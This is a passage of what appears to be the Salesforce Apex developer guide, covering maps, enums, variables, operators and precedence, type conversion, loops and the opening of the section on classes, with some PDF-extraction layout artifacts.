• Unlike Java, Apex developers do not need to reference the algorithm that is used to implement a map in their declarations (for
example, HashMap or TreeMap). Apex uses a hash structure for all maps.
• The iteration order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the
same code. However, we recommend to always access map elements by key.
• A map key can hold the null value.
• Adding a map entry with a key that matches an existing key in the map overwrites the existing entry with that key with the new
entry.
• Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys as
distinct.
• Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide in
your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field
values.
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
– Id
– Integer
– Long
– String
– Time
Parameterized Typing
Apex, in general, is a statically-typed programming language, which means users must specify the data type for a variable before that
variable can be used.
This is legal in Apex:
Integer x = 1;
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This is not legal, if x has not been defined earlier:
x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data type must be
replaced with an actual data type upon construction of the list, map or set. For example:
List<String> myList = new List<String>();
Subtyping with Parameterized Lists
In Apex, if type T is a subtype of U, then List<T> would be a subtype of List<U>. For example, the following is legal:
List<String> slst = new List<String> {'foo', 'bar'};
List<Object> olst = slst;
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums are typically
used to define a set of possible values that don’t otherwise have a numerical order, such as the suit of a card, or a particular season of
the year.
Although each value corresponds to a distinct integer value, the enum hides this implementation so that you don’t inadvertently misuse
the values, such as using them to perform arithmetic. After you create an enum, variables, method arguments, and return types can be
declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values. For example,
the following code creates an enum called Season:
public enum Season {WINTER, SPRING, SUMMER, FALL}
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you might
any other data type. For example:
Season e = Season.WINTER;
Season m(Integer x, Season e) {
if (e == Season.SUMMER) return e;
//...
}
You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the definition.
public enum MyEnumClass { X, Y }
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any object you
assign to it must be an instance of that enum class.
Any webservice method can use enum types as part of their signature. When this occurs, the associated WSDL file includes definitions
for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
• System.StatusCode
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This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file
for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.
• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webservice method. For more information, see
XmlStreamReader Class.
• System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce upgrades and downtimes. For more information, see Using the System.ApplicationReadWriteMode
Enum.
• System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information, see System
Class.
• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation, such as
the Decimal divide method and the Double round method. For more information, see Rounding Mode.
• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see SOAPType Enum.
• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see DisplayType Enum.
• System.JSONToken:
This enum is used for parsing JSON content. For more information, see JSONToken Enum.
• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum.
• Dom.XmlNodeType:
This enum specifies the node type in a DOM document.
Note: System-defined enums cannot be used in Web service methods.
All enum values, including system enums, have common methods associated with them. For more information, see Enum Methods.
You cannot add user-defined methods to enum values.
Variables
Local variables are declared with Java-style syntax. As with Java, multiple variables can be declared and initialized in a single statement.
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
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List<String> strList;
Set<String> s;
Map<ID, String> m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
Null Variables and Initial Values
If you declare a variable and don't initialize it with a value, it will be null. In essence, null means the absence of a value. You can
also assign null to any variable declared with a primitive type. For example, both of these statements result in a variable set to null:
Boolean x = null;
Decimal d;
Many instance methods on the data type will fail if the variable is null. In this example, the second statement generates an exception
(NullPointerException)
Date d;
d.addDays(2);
All variables are initialized to null if they aren’t assigned a value. For instance, in the following example, i, and k are assigned values,
while the integer variable j and the boolean variable b are set to null because they aren’t explicitly initialized.
Integer i = 0, j, k = 1;
Boolean b;
Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to false by the system. This isn’t the
case. Like all other variables, boolean variables are null if not assigned a value explicitly.
Variable Scope
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can’t redefine a variable name
that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i;
}
This declaration is not allowed
for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case-insensitive. For example:
Integer I;
//Integer i;
This would be an error.
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• References to object and field names are case-insensitive. For example:
Account a1;
ACCOUNT a2;
• SOQL and SOSL statements are case- insensitive. For example:
Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];
Note: You’ll learn more about sObjects, SOQL and SOSL later in this guide.
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce
user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based
on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this
behavior is that users typically think of a field without a value as just a space character, rather than its actual null value. Consequently,
in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you’re trying to compare a letter to a null value.
Constants
Apex constants are variables whose values don’t change after being initialized once. Constants can be defined using the final keyword.
The final keyword means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer
method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The
second is assigned a value in a static block by calling a static method.
public class myCls {
static final Integer PRIVATE_INT_CONST = 200;
static final Integer PRIVATE_INT_CONST2;
public static Integer calculate() {
return 2 + 7;
}
static {
PRIVATE_INT_CONST2 = calculate();
}
}
For more information, see Using the final Keyword on page 76.
Expressions and Operators
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
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IN THIS SECTION:
Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Operator Precedence
Operators are interpreted in order, according to rules.
Comments
Both single and multiline comments are supported in Apex code.
SEE ALSO:
Expanding sObject and List Expressions
Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.
In Apex, an expression is always one of the following types:
• A literal expression. For example:
1 + 1
• A new sObject, Apex object, list, set, or map. For example:
new
new
new
new
new
new
new
Account(<field_initializers>)
Integer[<n>]
Account[]{<elements>}
List<Account>()
Set<String>{}
Map<String, Integer>()
myRenamingClass(string oldName, string newName)
• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and
most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
• Any sObject field reference that is not an L-value, including:
– The ID of an sObject in a list (see Lists)
– A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type
of expression yields a query result, much like SOQL and SOSL queries.
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
Account[] aa = [SELECT Id, Name FROM Account WHERE Name ='Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName ='Weissman'];
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List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];
For information, see SOQL and SOSL Queries on page 143.
• A static or instance method invocation. For example:
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
Expression Operators
Expressions can be joined to one another with operators to create compound expressions.
Apex supports the following operators:
Operator
Syntax
Description
=
x = y
Assignment operator (Right associative). Assigns the value of y to the L-value
x. Note that the data type of x must match the data type of y, and cannot be
null.
+=
x += y
Addition assignment operator (Right associative). Adds the value of y to the
original value of x and then reassigns the new value to x. See + for additional
information. x and y cannot be null.
*=
x *= y
Multiplication assignment operator (Right associative). Multiplies the value of
y with the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
-=
x -= y
Subtraction assignment operator (Right associative). Subtracts the value of y
from the original value of x and then reassigns the new value to x. Note that x
and y must be Integers or Doubles, or a combination. x and y cannot be null.
/=
x /= y
Division assignment operator (Right associative). Divides the original value of x
with the value of y and then reassigns the new value to x. Note that x and y
must be Integers or Doubles, or a combination. x and y cannot be null.
|=
x |= y
OR assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both false, then x remains false. Otherwise, x is assigned the value of true. x
and y cannot be null.
&=
x &= y
AND assignment operator (Right associative). If x, a Boolean, and y, a Boolean,
are both true, then x remains true. Otherwise, x is assigned the value of false. x
and y cannot be null.
<<=
x <<= y
Bitwise shift left assignment operator. Shifts each bit in x to the left by y bits
so that the high order bits are lost, and the new right bits are set to 0. This value is
then reassigned to x.
>>=
x >>= y
Bitwise shift right signed assignment operator. Shifts each bit in x to the right
by y bits so that the low order bits are lost, and the new left bits are set to 0 for
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Syntax
Description
positive values of y and 1 for negative values of y. This value is then reassigned to
x.
>>>=
x >>>= y
Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set to 0
for all values of y. This value is then reassigned to x.
? :
x ? y : z
Ternary operator (Right associative). This operator acts as a short-hand for
if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the
result. Note that x cannot be null.
&&
x && y
AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
true, then the expression evaluates to true. Otherwise the expression evaluates to
false.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is true.
• x and y cannot be null.
||
x || y
OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both
false, then the expression evaluates to false. Otherwise the expression evaluates to
true.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is evaluated
only if x is false.
• x and y cannot be null.
==
x == y
Equality operator. If the value of x equals the value of y, the expression evaluates
to true. Otherwise, the expression evaluates to false.
Note:
• Unlike Java, == in Apex compares object value equality, not reference equality,
except for user-defined types. Consequently:
– String comparison using == is case-insensitive
– ID comparison using == is case-sensitive, and does not distinguish between
15-character and 18-character formats
– User-defined types are compared by reference, which means that two
objects are equal only if they reference the same location in memory. You
can override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
• For sObjects and sObject arrays, == performs a deep check of all sObject field
values before returning its result. Likewise for collections and built-in Apex
objects.
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Operator
Data Types and Variables
Syntax
Description
• For records, every field must have the same value for == to evaluate to true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator, and not ==. Although Apex
and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy
exists because most modern languages use = for assignment and == for
equality. The designers of Apex deemed it more valuable to maintain this
paradigm than to force developers to learn a new assignment operator. The
result is that Apex developers must use == for equality tests in the main body
of the Apex code, and = for equality in SOQL and SOSL queries.
===
x === y
Exact equality operator. If x and y reference the exact same location in memory,
the expression evaluates to true. Otherwise, the expression evaluates to false.
<
x < y
Less than operator. If x is less than y, the expression evaluates to true. Otherwise,
the expression evaluates to false.
Note:
• Unlike other database stored procedures, Apex does not support tri-state Boolean
logic, and the comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
>
x > y
Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
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Operator
Data Types and Variables
Syntax
Description
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
<=
x <= y
Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
>=
x >= y
Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise, a
runtime error results.
• If x or y is an ID and the other value is a String, the String value is validated
and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user and is case-insensitive.
!=
x != y
Inequality operator. If the value of x does not equal the value of y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• String comparison using != is case-insensitive
• Unlike Java, != in Apex compares object value equality, not reference equality,
except for user-defined types.
• For sObjects and sObject arrays, != performs a deep check of all sObject field
values before returning its result.
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Operator
Data Types and Variables
Syntax
Description
• For records, != evaluates to true if the records have different values for any
field.
• User-defined types are compared by reference, which means that two objects
are different only if they reference different locations in memory. You can
override this default comparison behavior by providing equals and
hashCode methods in your class to compare object values instead.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
!==
x !== y
Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false.
+
x + y
Addition operator. Adds the value of x to the value of y according to the
following rules:
• If x and y are Integers or Doubles, adds the value of x to the value of y. If a
Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.
-
x - y
Subtraction operator. Subtracts the value of y from the value of x according to
the following rules:
• If x and y are Integers or Doubles, subtracts the value of y from the value of
x. If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is decremented by
the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that is
decremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
*
x * y
Multiplication operator. Multiplies x, an Integer or Double, with y, another
Integer or Double. Note that if a double is used, the result is a Double.
/
x / y
Division operator. Divides x, an Integer or Double, by y, another Integer or Double.
Note that if a double is used, the result is a Double.
!
!x
Logical complement operator. Inverts the value of a Boolean, so that true becomes
false, and false becomes true.
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Operator
Syntax
Description
-
-x
Unary negation operator. Multiplies the value of x, an Integer or Double, by -1.
Note that the positive equivalent + is also syntactically valid, but does not have a
mathematical effect.
++
x++
Increment operator. Adds 1 to the value of x, a variable of a numeric type. If
prefixed (++x), the expression evaluates to the value of x after the increment. If
postfixed (x++), the expression evaluates to the value of x before the increment.
++x
--
x---x
Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type.
If prefixed (--x), the expression evaluates to the value of x after the decrement. If
postfixed (x--), the expression evaluates to the value of x before the decrement.
&
x & y
Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so
that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid
for types Long or Integer.
|
x | y
Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that
the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid
for types Long or Integer.
^
x ^ y
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0.
^=
x ^= y
Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding
bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the
other bit is set to 0. Assigns the result of the exclusive OR operation to x.
<<
x << y
Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the
high order bits are lost, and the new right bits are set to 0.
>>
x >> y
Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so
that the low order bits are lost, and the new left bits are set to 0 for positive values
of y and 1 for negative values of y.
>>>
x >>> y
Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits
so that the low order bits are lost, and the new left bits are set to 0 for all values of
y.
()
(x)
Parentheses. Elevates the precedence of an expression x so that it is evaluated
first in a compound expression.
Operator Precedence
Operators are interpreted in order, according to rules.
Apex uses the following operator precedence rules:
Precedence
Operators
Description
1
{} () ++ --
Grouping and prefix increments and decrements
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Precedence
Operators
Description
2
! -x +x (type) new
Unary negation, type cast and object creation
3
* /
Multiplication and division
4
+ -
Addition and subtraction
5
< <= > >= instanceof
Greater-than and less-than comparisons, reference tests
6
== !=
Comparisons: equal and not-equal
7
&&
Logical AND
8
||
Logical OR
9
= += -= *= /= &=
Assignment operators
Comments
Both single and multiline comments are supported in Apex code.
• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser
• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple
lines without getting interpreted by the
parser. */
Assignment Statements
An assignment statement is any statement that places a value into a variable.
An assignment statement generally takes one of two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include:
• A simple variable. For example:
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
• A de-referenced list element. For example:
ints[0] = 1;
accts[0].Name = 'Acme';
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• An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
// IDs cannot be set prior to an insert call
// a.Id = '00300000003T2PGAA0';
// Instead, insert the record. The system automatically assigns it an ID.
insert a;
// Fields also must be writable for the context user
// a.CreatedDate = System.today(); This code is invalid because
//
createdDate is read-only!
// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);
// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
Assignment is always done by reference. For example:
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Expression Operators on page 40.
Rules of Conversion
In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be
implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted,
without using a method.
Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion.
The following is the hierarchy for numbers, from lowest to highest:
1. Integer
2. Long
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3. Double
4. Decimal
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.
Additional Considerations for Data Types
Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example,
Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum value for an Integer,
so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
Loss of Fractions in Divisions
When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.
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Control Flow Statements
Apex provides if-else statements and loops to control the flow of code execution. Statements are generally executed line by line, in the
order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block of code
execute repeatedly.
IN THIS SECTION:
Conditional (If-Else) Statements
The conditional statement in Apex worksApex similarly to Java.
Loops
Apex supports five types of procedural loops.
Conditional (If-Else) Statements
The conditional statement in Apex worksApex similarly to Java.
if ([Boolean_condition])
// Statement 1
else
// Statement 2
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}
Repeated else if statements are also allowed. For example:
if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}
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Loops
Apex supports five types of procedural loops.
These types of procedural loops are supported:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
• break; exits the entire loop
• continue; skips to the next iteration of the loop
IN THIS SECTION:
1. Do-While Loops
2. While Loops
3. For Loops
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
} while (condition);
Note: Curly braces ({}) are always required around a code_block.
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}
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Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {
System.debug(count);
count++;
}
For Loops
Apex supports three variations of the for loop:
• The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}
• The list or set iteration for loop:
for (variable : list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
• The SOQL for loop:
for (variable : [soql_query]) {
code_block
}
or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Each is discussed further in the sections that follow.
IN THIS SECTION:
Traditional For Loops
List or Set Iteration for Loops
Iterating Collections
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Traditional For Loops
The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}
List or Set Iteration for Loops
The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
System.debug(i);
}
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.
Adding Elements During Iteration
To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.
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Removing Elements During Iteration
To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.
Classes, Objects, and Interfaces
Apex classes are modeled on their counterparts in Java. You’ll define, instantiate, and extend classes, and you’ll work with interfaces,
Apex class versions, properties, and other related class concepts.
IN THIS SECTION:
1. Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance
of a class.
2. Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body
of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained
in the interface.
3. Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without
sharing.
4. Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with
an initial @ symbol, followed by the appropriate keyword.
5. Classes and Casting
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an
object from one data type to another.
6. Differences Between Apex Classes and Java Classes
Apex classes and Java classes work in similar ways, but there are some significant differences.
7. Class Definition Creation
Use the class editor to create a class in Salesforce.
8. Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations.
9. Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
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11. Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class.
For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order.
An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
IN THIS SECTION:
1. Apex Class Definition
2. Class Variables
3. Class Methods
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have
instance methods, member variables, and initialization code, which have no modifier, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example
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Apex Class Definition
In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}
